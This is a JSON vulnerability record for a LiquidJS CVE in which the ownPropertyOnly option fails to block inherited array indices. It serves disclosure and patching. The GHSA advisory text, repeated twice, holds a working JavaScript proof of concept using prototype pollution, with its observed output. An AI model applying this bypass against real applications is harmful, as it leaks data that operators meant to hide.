{"id":"CVE-2026-106120","aliases":["EUVD-2026-93772","GHSA-fwxr-j5w2-587m"],"status":"published","title":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, enabling ownPropertyOnly does not consistently restrict inherited array indices because negative indexing, .first, .last, the first filter, the last filter, join, reverse, slice, compact, and for-loop iteration can read prototype-provided elements outside readJSProperty(). An attacker who can influence prototype state or inherited array-index data and cause templates to render affected operations can disclose values that ownPropertyOnly is expected to hide. Direct positive indexing and ordinary object prototype reads are blocked, but the alternate array paths remain affected. This issue is fixed in 10.27.2.","severity":{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00409,"percentile":0.35671,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200"],"published":"2026-10-06T18:04:14Z","modified":"2026-10-28T02:30:31Z","fixes":[{"ecosystem":"npm","package":"liquidjs","fixed_in":["10.27.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"10.27.1"},{"fixed":"10.27.2"}]}]},{"source":"osv","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.27.2"}]}]}],"products":[{"vendor":"harttle","product":"liquidjs"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-fwxr-j5w2-587m","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/harttle/liquidjs/pull/924","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/harttle/liquidjs/commit/552819a84b80c62306fe61072628a756272dc749","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/harttle/liquidjs/releases/tag/v10.27.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106120","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fwxr-j5w2-587m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/106xxx/CVE-2026-106120.json","tags":["advisory"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-106120","title":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, enabling ownPropertyOnly does not consistently restrict inherited array indices because negative indexing, .first, .last, the first filter, the last filter, join, reverse, slice, compact, and for-loop iteration can read prototype-provided elements outside readJSProperty(). An attacker who can influence prototype state or inherited array-index data and cause templates to render affected operations can disclose values that ownPropertyOnly is expected to hide. Direct positive indexing and ordinary object prototype reads are blocked, but the alternate array paths remain affected. This issue is fixed in 10.27.2.","status":"published","published":"2026-10-06T18:04:14.907Z","modified":"2026-10-09T01:22:05.479Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:20:04.156238Z"}],"euvd":[{"id":"EUVD-2026-93772","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, enabling ownPropertyOnly does not consistently restrict inherited array indices because negative indexing, .first, .last, the first filter, the last filter, join, reverse, slice, compact, and for-loop iteration can read prototype-provided elements outside readJSProperty(). An attacker who can influence prototype state or inherited array-index data and cause templates to render affected operations can disclose values that ownPropertyOnly is expected to hide. Direct positive indexing and ordinary object prototype reads are blocked, but the alternate array paths remain affected. This issue is fixed in 10.27.2.","status":"published","published":"2026-10-06T18:04:14Z","modified":"2026-10-09T01:22:05Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:25.942984Z"}],"ghsa":[{"id":"GHSA-fwxr-j5w2-587m","title":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","description":"## Summary\n\nLiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. \nWith `ownPropertyOnly: true`, direct access such as:\n\n```liquid\n{{ a[0] }}\n```\n\ncorrectly blocks an inherited array index. However, the same inherited value is still disclosed through:\n\n```text\n.first\n.last\nnegative indexing\nfor-loop iteration\nfirst\nlast\njoin\nreverse\nslice\ncompact\n```\n\n## Impact\n\nThis is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.\n\nObject prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.\n\n\n## Proof of concept\n\n```js\nconst { Liquid } = require(\"liquidjs\");\n\nconst engine = new Liquid({ ownPropertyOnly: true });\n\nArray.prototype[0] = \"ARRAY_PROTO_POLLUTED\";\nObject.prototype.secret = \"OBJECT_PROTO_POLLUTED\";\n\nconst a = [];\na.length = 1;\n\nconst o = {};\n\nfor (const [src, scope] of [\n  [\"{{ a[0] }}\", { a }],\n  [\"{{ a[-1] }}\", { a }],\n  [\"{{ o.secret }}\", { o }],\n  [\"{{ a.first }}\", { a }],\n  [\"{{ a.last }}\", { a }],\n  [\"{{ a | first }}\", { a }],\n  [\"{{ a | last }}\", { a }],\n  [\"{{ a | join: ',' }}\", { a }],\n  [\"{{ a | reverse | first }}\", { a }],\n  [\"{{ a | slice: 0, 1 | join: ',' }}\", { a }],\n  [\"{{ a | compact | join: ',' }}\", { a }],\n  [\"{% for x in a %}[{{ x }}]{% endfor %}\", { a }],\n]) {\n  console.log(src, \"=\u003e\", JSON.stringify(engine.parseAndRenderSync(src, scope)));\n}\n\ndelete Array.prototype[0];\ndelete Object.prototype.secret;\n```\n\n## Observed behavior\n\n```text\n{{ a[0] }}                                  =\u003e \"\"\n{{ a[-1] }}                                 =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ o.secret }}                              =\u003e \"\"\n{{ a.first }}                               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a.last }}                                =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | first }}                             =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | last }}                              =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | join: ',' }}                         =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | reverse | first }}                   =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | slice: 0, 1 | join: ',' }}           =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | compact | join: ',' }}               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{% for x in a %}[{{ x }}]{% endfor %}       =\u003e \"[ARRAY_PROTO_POLLUTED]\"\n```\n\n## Expected behavior\n\nWhen `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:\n\n```liquid\n{{ a[0] }}\n{{ o.secret }}\n```\n\nInherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.\n\n## Root cause\n\n`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.\n\nExamples include:\n\n```text\nnegative indexing using obj[obj.length + key]\nreadFirst/readLast using obj[0] / obj[obj.length - 1]\nfilters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads\nfor-loop iteration materializing inherited array indices\n```\n\nBecause these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.","status":"published","published":"2026-10-07T16:19:09Z","modified":"2026-10-07T16:19:10Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:41:28.013673Z"}],"nvd":[{"id":"CVE-2026-106120","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, enabling ownPropertyOnly does not consistently restrict inherited array indices because negative indexing, .first, .last, the first filter, the last filter, join, reverse, slice, compact, and for-loop iteration can read prototype-provided elements outside readJSProperty(). An attacker who can influence prototype state or inherited array-index data and cause templates to render affected operations can disclose values that ownPropertyOnly is expected to hide. Direct positive indexing and ordinary object prototype reads are blocked, but the alternate array paths remain affected. This issue is fixed in 10.27.2.","status":"published","published":"2026-10-06T19:17:42.96Z","modified":"2026-10-09T02:16:57.747Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:54.486849Z"}],"osv":[{"id":"CVE-2026-106120","title":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, enabling ownPropertyOnly does not consistently restrict inherited array indices because negative indexing, .first, .last, the first filter, the last filter, join, reverse, slice, compact, and for-loop iteration can read prototype-provided elements outside readJSProperty(). An attacker who can influence prototype state or inherited array-index data and cause templates to render affected operations can disclose values that ownPropertyOnly is expected to hide. Direct positive indexing and ordinary object prototype reads are blocked, but the alternate array paths remain affected. This issue is fixed in 10.27.2.","status":"published","published":"2026-10-06T18:04:14.907Z","modified":"2026-10-28T02:30:31.009330722Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:44:54.583213Z"},{"id":"GHSA-fwxr-j5w2-587m","title":"LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration","description":"## Summary\n\nLiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. \nWith `ownPropertyOnly: true`, direct access such as:\n\n```liquid\n{{ a[0] }}\n```\n\ncorrectly blocks an inherited array index. However, the same inherited value is still disclosed through:\n\n```text\n.first\n.last\nnegative indexing\nfor-loop iteration\nfirst\nlast\njoin\nreverse\nslice\ncompact\n```\n\n## Impact\n\nThis is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.\n\nObject prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.\n\n\n## Proof of concept\n\n```js\nconst { Liquid } = require(\"liquidjs\");\n\nconst engine = new Liquid({ ownPropertyOnly: true });\n\nArray.prototype[0] = \"ARRAY_PROTO_POLLUTED\";\nObject.prototype.secret = \"OBJECT_PROTO_POLLUTED\";\n\nconst a = [];\na.length = 1;\n\nconst o = {};\n\nfor (const [src, scope] of [\n  [\"{{ a[0] }}\", { a }],\n  [\"{{ a[-1] }}\", { a }],\n  [\"{{ o.secret }}\", { o }],\n  [\"{{ a.first }}\", { a }],\n  [\"{{ a.last }}\", { a }],\n  [\"{{ a | first }}\", { a }],\n  [\"{{ a | last }}\", { a }],\n  [\"{{ a | join: ',' }}\", { a }],\n  [\"{{ a | reverse | first }}\", { a }],\n  [\"{{ a | slice: 0, 1 | join: ',' }}\", { a }],\n  [\"{{ a | compact | join: ',' }}\", { a }],\n  [\"{% for x in a %}[{{ x }}]{% endfor %}\", { a }],\n]) {\n  console.log(src, \"=\u003e\", JSON.stringify(engine.parseAndRenderSync(src, scope)));\n}\n\ndelete Array.prototype[0];\ndelete Object.prototype.secret;\n```\n\n## Observed behavior\n\n```text\n{{ a[0] }}                                  =\u003e \"\"\n{{ a[-1] }}                                 =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ o.secret }}                              =\u003e \"\"\n{{ a.first }}                               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a.last }}                                =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | first }}                             =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | last }}                              =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | join: ',' }}                         =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | reverse | first }}                   =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | slice: 0, 1 | join: ',' }}           =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | compact | join: ',' }}               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{% for x in a %}[{{ x }}]{% endfor %}       =\u003e \"[ARRAY_PROTO_POLLUTED]\"\n```\n\n## Expected behavior\n\nWhen `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:\n\n```liquid\n{{ a[0] }}\n{{ o.secret }}\n```\n\nInherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.\n\n## Root cause\n\n`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.\n\nExamples include:\n\n```text\nnegative indexing using obj[obj.length + key]\nreadFirst/readLast using obj[0] / obj[obj.length - 1]\nfilters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads\nfor-loop iteration materializing inherited array indices\n```\n\nBecause these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.","status":"published","published":"2026-10-07T16:19:09Z","modified":"2026-10-07T16:30:04.720886113Z","cvss":[{"version":"4.0","score":6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:47.119724Z"}]}}